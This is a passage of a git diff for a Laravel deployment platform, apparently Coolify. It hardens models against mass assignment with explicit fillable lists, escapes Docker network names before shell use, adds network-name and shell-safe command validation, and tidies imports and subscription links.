'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'custom_docker_run_options', + 'clickhouse_db', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ - 'clickhouse_password' => 'encrypted', + 'clickhouse_admin_password' => 'encrypted', 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index 0407c2255..09dae022b 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -3,6 +3,7 @@ namespace App\Models; use App\Jobs\ConnectProxyToNetworksJob; +use App\Support\ValidationPatterns; use App\Traits\HasSafeStringAttribute; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -11,20 +12,33 @@ class StandaloneDocker extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'network', + ]; protected static function boot() { parent::boot(); static::created(function ($newStandaloneDocker) { $server = $newStandaloneDocker->server; + $safeNetwork = escapeshellarg($newStandaloneDocker->network); instant_remote_process([ - "docker network inspect $newStandaloneDocker->network >/dev/null 2>&1 || docker network create --driver overlay --attachable $newStandaloneDocker->network >/dev/null", + "docker network inspect {$safeNetwork} >/dev/null 2>&1 || docker network create --driver overlay --attachable {$safeNetwork} >/dev/null", ], $server, false); ConnectProxyToNetworksJob::dispatchSync($server); }); } + public function setNetworkAttribute(string $value): void + { + if (! ValidationPatterns::isValidDockerNetwork($value)) { + throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.'); + } + + $this->attributes['network'] = $value; + } + public function applications() { return $this->morphMany(Application::class, 'destination'); diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index c823c305b..af309f980 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -13,7 +13,33 @@ class StandaloneDragonfly extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'dragonfly_password', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index f286e8538..ee07b4783 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -13,7 +13,34 @@ class StandaloneKeydb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'keydb_password', + 'keydb_conf', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'server_status']; diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index efa62353c..ad5220496 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -14,7 +14,36 @@ class StandaloneMariadb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mariadb_root_password', + 'mariadb_user', + 'mariadb_password', + 'mariadb_database', + 'mariadb_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'is_log_drain_enabled', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index 9418ebc21..590c173e1 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -13,7 +13,37 @@ class StandaloneMongodb extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mongo_conf', + 'mongo_initdb_root_username', + 'mongo_initdb_root_password', + 'mongo_initdb_database', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 2b7e9f2b6..d991617b7 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -13,7 +13,38 @@ class StandaloneMysql extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'mysql_root_password', + 'mysql_user', + 'mysql_password', + 'mysql_database', + 'mysql_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index cea600236..71034427f 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -13,7 +13,40 @@ class StandalonePostgresql extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'postgres_user', + 'postgres_password', + 'postgres_db', + 'postgres_initdb_args', + 'postgres_host_auth_method', + 'postgres_conf', + 'init_scripts', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'ssl_mode', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 0e904ab31..4eb28e038 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -13,7 +13,33 @@ class StandaloneRedis extends BaseModel { use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'redis_conf', + 'status', + 'image', + 'is_public', + 'public_port', + 'ports_mappings', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'started_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + 'last_online_at', + 'public_port_timeout', + 'enable_ssl', + 'is_log_drain_enabled', + 'is_include_timestamps', + 'custom_docker_run_options', + ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; diff --git a/app/Models/Subscription.php b/app/Models/Subscription.php index 69d7cbf0d..fa135b29f 100644 --- a/app/Models/Subscription.php +++ b/app/Models/Subscription.php @@ -6,7 +6,18 @@ class Subscription extends Model { - protected $guarded = []; + protected $fillable = [ + 'stripe_invoice_paid', + 'stripe_subscription_id', + 'stripe_customer_id', + 'stripe_cancel_at_period_end', + 'stripe_plan_id', + 'stripe_feedback', + 'stripe_comment', + 'stripe_trial_already_ended', + 'stripe_past_due', + 'stripe_refunded_at', + ]; protected function casts(): array { diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php index 08be81970..656749119 100644 --- a/app/Models/SwarmDocker.php +++ b/app/Models/SwarmDocker.php @@ -2,9 +2,23 @@ namespace App\Models; +use App\Support\ValidationPatterns; + class SwarmDocker extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'network', + ]; + + public function setNetworkAttribute(string $value): void + { + if (! ValidationPatterns::isValidDockerNetwork($value)) { + throw new \InvalidArgumentException('Invalid Docker network name. Must start with alphanumeric and contain only alphanumeric characters, dots, hyphens, and underscores.'); + } + + $this->attributes['network'] = $value; + } public function applications() { diff --git a/app/Models/Tag.php b/app/Models/Tag.php index 3594d1072..9ee58cf7d 100644 --- a/app/Models/Tag.php +++ b/app/Models/Tag.php @@ -8,7 +8,9 @@ class Tag extends BaseModel { use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + ]; protected function customizeName($value) { diff --git a/app/Models/Team.php b/app/Models/Team.php index 5a7b377b6..8eb8fa050 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -40,7 +40,13 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen { use HasFactory, HasNotificationSettings, HasSafeStringAttribute, Notifiable; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'personal_team', + 'show_boarding', + 'custom_server_limit', + ]; protected $casts = [ 'personal_team' => 'boolean', diff --git a/app/Models/TelegramNotificationSettings.php b/app/Models/TelegramNotificationSettings.php index 73889910e..4930f45d4 100644 --- a/app/Models/TelegramNotificationSettings.php +++ b/app/Models/TelegramNotificationSettings.php @@ -25,7 +25,8 @@ class TelegramNotificationSettings extends Model 'backup_failure_telegram_notifications', 'scheduled_task_success_telegram_notifications', 'scheduled_task_failure_telegram_notifications', - 'docker_cleanup_telegram_notifications', + 'docker_cleanup_success_telegram_notifications', + 'docker_cleanup_failure_telegram_notifications', 'server_disk_usage_telegram_notifications', 'server_reachable_telegram_notifications', 'server_unreachable_telegram_notifications', @@ -39,7 +40,8 @@ class TelegramNotificationSettings extends Model 'telegram_notifications_backup_failure_thread_id', 'telegram_notifications_scheduled_task_success_thread_id', 'telegram_notifications_scheduled_task_failure_thread_id', - 'telegram_notifications_docker_cleanup_thread_id', + 'telegram_notifications_docker_cleanup_success_thread_id', + 'telegram_notifications_docker_cleanup_failure_thread_id', 'telegram_notifications_server_disk_usage_thread_id', 'telegram_notifications_server_reachable_thread_id', 'telegram_notifications_server_unreachable_thread_id', diff --git a/app/Models/User.php b/app/Models/User.php index 7c68657e7..ad9a7af31 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -4,7 +4,9 @@ use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; +use App\Notifications\TransactionalEmails\EmailChangeVerification; use App\Notifications\TransactionalEmails\ResetPassword as TransactionalEmailsResetPassword; +use App\Services\ChangelogService; use App\Traits\DeletesUserSessions; use DateTimeInterface; use Illuminate\Database\Eloquent\Factories\HasFactory; @@ -41,7 +43,13 @@ class User extends Authenticatable implements SendsEmail { use DeletesUserSessions, HasApiTokens, HasFactory, Notifiable, TwoFactorAuthenticatable; - protected $guarded = []; + protected $fillable = [ + 'name', + 'email', + 'password', + 'force_password_reset', + 'marketing_emails', + ]; protected $hidden = [ 'password', @@ -87,7 +95,7 @@ protected static function boot() $team['id'] = 0; $team['name'] = 'Root Team'; } - $new_team = Team::create($team); + $new_team = Team::forceCreate($team); $user->teams()->attach($new_team, ['role' => 'owner']); }); @@ -190,7 +198,7 @@ public function recreate_personal_team() $team['id'] = 0; $team['name'] = 'Root Team'; } - $new_team = Team::create($team); + $new_team = Team::forceCreate($team); $this->teams()->attach($new_team, ['role' => 'owner']); return $new_team; @@ -228,7 +236,7 @@ public function changelogReads() public function getUnreadChangelogCount(): int { - return app(\App\Services\ChangelogService::class)->getUnreadCountForUser($this); + return app(ChangelogService::class)->getUnreadCountForUser($this); } public function getRecipients(): array @@ -239,7 +247,7 @@ public function getRecipients(): array public function sendVerificationEmail() { $mail = new MailMessage; - $url = Url::temporarySignedRoute( + $url = URL::temporarySignedRoute( 'verify.verify', Carbon::now()->addMinutes(Config::get('auth.verification.expire', 60)), [ @@ -401,14 +409,14 @@ public function requestEmailChange(string $newEmail): void $expiryMinutes = config('constants.email_change.verification_code_expiry_minutes', 10); $expiresAt = Carbon::now()->addMinutes($expiryMinutes); - $this->update([ + $this->forceFill([ 'pending_email' => $newEmail, 'email_change_code' => $code, 'email_change_code_expires_at' => $expiresAt, - ]); + ])->save(); // Send verification email to new address - $this->notify(new \App\Notifications\TransactionalEmails\EmailChangeVerification($this, $code, $newEmail, $expiresAt)); + $this->notify(new EmailChangeVerification($this, $code, $newEmail, $expiresAt)); } public function isEmailChangeCodeValid(string $code): bool diff --git a/app/Notifications/Server/ForceDisabled.php b/app/Notifications/Server/ForceDisabled.php index 7a1f7bcbf..4b56f5860 100644 --- a/app/Notifications/Server/ForceDisabled.php +++ b/app/Notifications/Server/ForceDisabled.php @@ -40,7 +40,7 @@ public function toDiscord(): DiscordMessage color: DiscordMessage::errorColor(), ); - $message->addField('Please update your subscription to enable the server again!', '[Link](https://app.coolify.io/subscriptions)'); + $message->addField('Please update your subscription to enable the server again!', '[Link](https://app.coolify.io/subscription)'); return $message; } @@ -48,7 +48,7 @@ public function toDiscord(): DiscordMessage public function toTelegram(): array { return [ - 'message' => "Coolify: Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.\nPlease update your subscription to enable the server again [here](https://app.coolify.io/subscriptions).", + 'message' => "Coolify: Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.\nPlease update your subscription to enable the server again [here](https://app.coolify.io/subscription).", ]; } @@ -57,7 +57,7 @@ public function toPushover(): PushoverMessage return new PushoverMessage( title: 'Server disabled', level: 'error', - message: "Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.
Please update your subscription to enable the server again [here](https://app.coolify.io/subscriptions).", + message: "Server ({$this->server->name}) disabled because it is not paid!\n All automations and integrations are stopped.
Please update your subscription to enable the server again [here](https://app.coolify.io/subscription).", ); } @@ -66,7 +66,7 @@ public function toSlack(): SlackMessage $title = 'Server disabled'; $description = "Server ({$this->server->name}) disabled because it is not paid!\n"; $description .= "All automations and integrations are stopped.\n\n"; - $description .= 'Please update your subscription to enable the server again: https://app.coolify.io/subscriptions'; + $description .= 'Please update your subscription to enable the server again: https://app.coolify.io/subscription'; return new SlackMessage( title: $title, diff --git a/app/Rules/ValidDnsServers.php b/app/Rules/ValidDnsServers.php new file mode 100644 index 000000000..e3bbd048f --- /dev/null +++ b/app/Rules/ValidDnsServers.php @@ -0,0 +1,35 @@ + 'Port mappings must be a comma-separated list of port pairs or ranges (e.g. 3000:3000,8080:80,8000-8010:8000-8010).', + ]; + } + /** * Check if a string is a valid Docker container name. */ @@ -210,6 +241,44 @@ public static function isValidContainerName(string $name): bool return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1; } + /** + * Get validation rules for Docker network name fields + */ + public static function dockerNetworkRules(bool $required = true, int $maxLength = 255): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::DOCKER_NETWORK_PATTERN; + + return $rules; + } + + /** + * Get validation messages for Docker network name fields + */ + public static function dockerNetworkMessages(string $field = 'network'): array + { + return [ + "{$field}.regex" => 'The network name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.', + ]; + } + + /** + * Check if a string is a valid Docker network name. + */ + public static function isValidDockerNetwork(string $name): bool + { + return preg_match(self::DOCKER_NETWORK_PATTERN, $name) === 1; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index ec42761f7..c10ed6158 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -95,9 +95,9 @@ function sharedDataApplications() 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', - 'install_command' => 'string|nullable', - 'build_command' => 'string|nullable', - 'start_command' => 'string|nullable', + 'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', @@ -144,6 +144,7 @@ function sharedDataApplications() 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', + 'is_preserve_repository_enabled' => 'boolean' ]; } @@ -193,5 +194,6 @@ function removeUnnecessaryFieldsFromRequest(Request $request) $request->offsetUnset('force_domain_override'); $request->offsetUnset('autogenerate_domain'); $request->offsetUnset('is_container_label_escape_enabled'); + $request->offsetUnset('is_preserve_repository_enabled'); $request->offsetUnset('docker_compose_raw'); } diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index c522cd0ca..ceae64d84 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -6,12 +6,13 @@ use App\Jobs\VolumeCloneJob; use App\Models\Application; use App\Models\ApplicationDeploymentQueue; +use App\Models\EnvironmentVariable; use App\Models\Server; use App\Models\StandaloneDocker; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; -function queue_application_deployment(Application $application, string $deployment_uuid, ?int $pull_request_id = 0, string $commit = 'HEAD', bool $force_rebuild = false, bool $is_webhook = false, bool $is_api = false, bool $restart_only = false, ?string $git_type = null, bool $no_questions_asked = false, ?Server $server = null, ?StandaloneDocker $destination = null, bool $only_this_server = false, bool $rollback = false) +function queue_application_deployment(Application $application, string $deployment_uuid, ?int $pull_request_id = 0, string $commit = 'HEAD', bool $force_rebuild = false, bool $is_webhook = false, bool $is_api = false, bool $restart_only = false, ?string $git_type = null, bool $no_questions_asked = false, ?Server $server = null, ?StandaloneDocker $destination = null, bool $only_this_server = false, bool $rollback = false, ?string $docker_registry_image_tag = null) { $application_id = $application->id; $deployment_link = Url::fromString($application->link()."/deployment/{$deployment_uuid}"); @@ -46,6 +47,7 @@ function queue_application_deployment(Application $application, string $deployme $existing_deployment = ApplicationDeploymentQueue::where('application_id', $application_id) ->where('commit', $commit) ->where('pull_request_id', $pull_request_id) + ->where('docker_registry_image_tag', $docker_registry_image_tag) ->whereIn('status', [ApplicationDeploymentStatus::IN_PROGRESS->value, ApplicationDeploymentStatus::QUEUED->value]) ->first(); @@ -71,6 +73,7 @@ function queue_application_deployment(Application $application, string $deployme 'deployment_uuid' => $deployment_uuid, 'deployment_url' => $deployment_url, 'pull_request_id' => $pull_request_id, + 'docker_registry_image_tag' => $docker_registry_image_tag, 'force_rebuild' => $force_rebuild, 'is_webhook' => $is_webhook, 'is_api' => $is_api, @@ -192,7 +195,7 @@ function clone_application(Application $source, $destination, array $overrides = $server = $destination->server; if ($server->team_id !== currentTeam()->id) { - throw new \RuntimeException('Destination does not belong to the current team.'); + throw new RuntimeException('Destination does not belong to the current team.'); } // Prepare name and URL @@ -211,7 +214,7 @@ function clone_application(Application $source, $destination, array $overrides = 'updated_at', 'additional_servers_count', 'additional_networks_count', - ])->fill(array_merge([ + ])->forceFill(array_merge([ 'uuid' => $uuid, 'name' => $name, 'fqdn' => $url, @@ -299,6 +302,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', + 'uuid', ])->fill([ 'name' => $newName, 'resource_id' => $newApplication->id, @@ -322,8 +326,8 @@ function clone_application(Application $source, $destination, array $overrides = destination: $source->destination, no_questions_asked: true ); - } catch (\Exception $e) { - \Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); + } catch (Exception $e) { + Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); } } } @@ -344,7 +348,7 @@ function clone_application(Application $source, $destination, array $overrides = // Clone production environment variables without triggering the created hook $environmentVariables = $source->environment_variables()->get(); foreach ($environmentVariables as $environmentVariable) { - \App\Models\EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { + EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { $newEnvironmentVariable = $environmentVariable->replicate([ 'id', 'created_at', @@ -361,7 +365,7 @@ function clone_application(Application $source, $destination, array $overrides = // Clone preview environment variables $previewEnvironmentVariables = $source->environment_variables_preview()->get(); foreach ($previewEnvironmentVariables as $previewEnvironmentVariable) { - \App\Models\EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { + EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { $newPreviewEnvironmentVariable = $previewEnvironmentVariable->replicate([ 'id', 'created_at', diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 4ca693fcb..751851283 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -22,25 +22,25 @@ * * @param string $composeYaml The raw Docker Compose YAML content * - * @throws \Exception If the compose file contains command injection attempts + * @throws Exception If the compose file contains command injection attempts */ function validateDockerComposeForInjection(string $composeYaml): void { try { $parsed = Yaml::parse($composeYaml); - } catch (\Exception $e) { - throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e); + } catch (Exception $e) { + throw new Exception('Invalid YAML format: '.$e->getMessage(), 0, $e); } if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) { - throw new \Exception('Docker Compose file must contain a "services" section'); + throw new Exception('Docker Compose file must contain a "services" section'); } // Validate service names foreach ($parsed['services'] as $serviceName => $serviceConfig) { try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.', 0, @@ -68,8 +68,8 @@ function validateDockerComposeForInjection(string $composeYaml): void if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($source, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.', 0, @@ -84,8 +84,8 @@ function validateDockerComposeForInjection(string $composeYaml): void if (is_string($target)) { try { validateShellSafePath($target, 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.', 0, @@ -105,7 +105,7 @@ function validateDockerComposeForInjection(string $composeYaml): void * * @param string $volumeString The volume string to validate * - * @throws \Exception If the volume string contains command injection attempts + * @throws Exception If the volume string contains command injection attempts */ function validateVolumeStringForInjection(string $volumeString): void { @@ -325,9 +325,9 @@ function parseDockerVolumeString(string $volumeString): array if (! $isSimpleEnvVar && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceStr, 'volume source'); - } catch (\Exception $e) { + } catch (Exception $e) { // Re-throw with more context about the volume string - throw new \Exception( + throw new Exception( 'Invalid Docker volume definition: '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -343,8 +343,8 @@ function parseDockerVolumeString(string $volumeString): array // Still, defense in depth is important try { validateShellSafePath($targetStr, 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition: '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -375,7 +375,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int try { $yaml = Yaml::parse($compose); - } catch (\Exception) { + } catch (Exception) { return collect([]); } $services = data_get($yaml, 'services', collect([])); @@ -409,8 +409,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // Validate service name for command injection try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.' ); @@ -465,7 +465,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $fqdn = generateFqdn(server: $server, random: "$uuid", parserVersion: $resource->compose_parsing_version); } - if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) { + if ($value && get_class($value) === Illuminate\Support\Stringable::class && $value->startsWith('/')) { $path = $value->value(); if ($path !== '/') { $fqdn = "$fqdn$path"; @@ -738,8 +738,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceValue, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -749,8 +749,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if ($target !== null && ! empty($target->value())) { try { validateShellSafePath($target->value(), 'volume target'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -1489,7 +1489,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } } $resource->docker_compose_raw = Yaml::dump($originalYaml, 10, 2); - } catch (\Exception $e) { + } catch (Exception $e) { // If parsing fails, keep the original docker_compose_raw unchanged ray('Failed to update docker_compose_raw in applicationParser: '.$e->getMessage()); } @@ -1519,7 +1519,7 @@ function serviceParser(Service $resource): Collection try { $yaml = Yaml::parse($compose); - } catch (\Exception) { + } catch (Exception) { return collect([]); } $services = data_get($yaml, 'services', collect([])); @@ -1566,8 +1566,8 @@ function serviceParser(Service $resource): Collection // Validate service name for command injection try { validateShellSafePath($serviceName, 'service name'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker Compose service name: '.$e->getMessage(). ' Service names must not contain shell metacharacters.' ); @@ -1593,20 +1593,25 @@ function serviceParser(Service $resource): Collection // Use image detection for non-migrated services $isDatabase = isDatabaseImage($image, $service); if ($isDatabase) { - $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first(); - if ($applicationFound) { - $savedService = $applicationFound; + $databaseFound = ServiceDatabase::where('name', $serviceName)->where('service_id', $resource->id)->first(); + if ($databaseFound) { + $savedService = $databaseFound; } else { - $savedService = ServiceDatabase::firstOrCreate([ + $savedService = ServiceDatabase::forceCreate([ 'name' => $serviceName, 'service_id' => $resource->id, ]); } } else { - $savedService = ServiceApplication::firstOrCreate([ - 'name' => $serviceName, - 'service_id' => $resource->id, - ]); + $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first(); + if ($applicationFound) { + $savedService = $applicationFound; + } else { + $savedService = ServiceApplication::forceCreate([ + 'name' => $serviceName, + 'service_id' => $resource->id, + ]); + } } } // Update image if it changed @@ -1772,7 +1777,7 @@ function serviceParser(Service $resource): Collection // Strip scheme for environment variable values $fqdnValueForEnv = str($fqdn)->after('://')->value(); - if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) { + if ($value && get_class($value) === Illuminate\Support\Stringable::class && $value->startsWith('/')) { $path = $value->value(); if ($path !== '/') { // Only add path if it's not already present (prevents duplication on subsequent parse() calls) @@ -2120,8 +2125,8 @@ function serviceParser(Service $resource): Collection if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) { try { validateShellSafePath($sourceValue, 'volume source'); - } catch (\Exception $e) { - throw new \Exception( + } catch (Exception $e) { + throw new Exception( 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). ' Please use safe path names without shell metacharacters.' ); @@ -2131,8 +2136,8 @@ function serviceParser(Service $resource): Collection if ($target !== null && ! 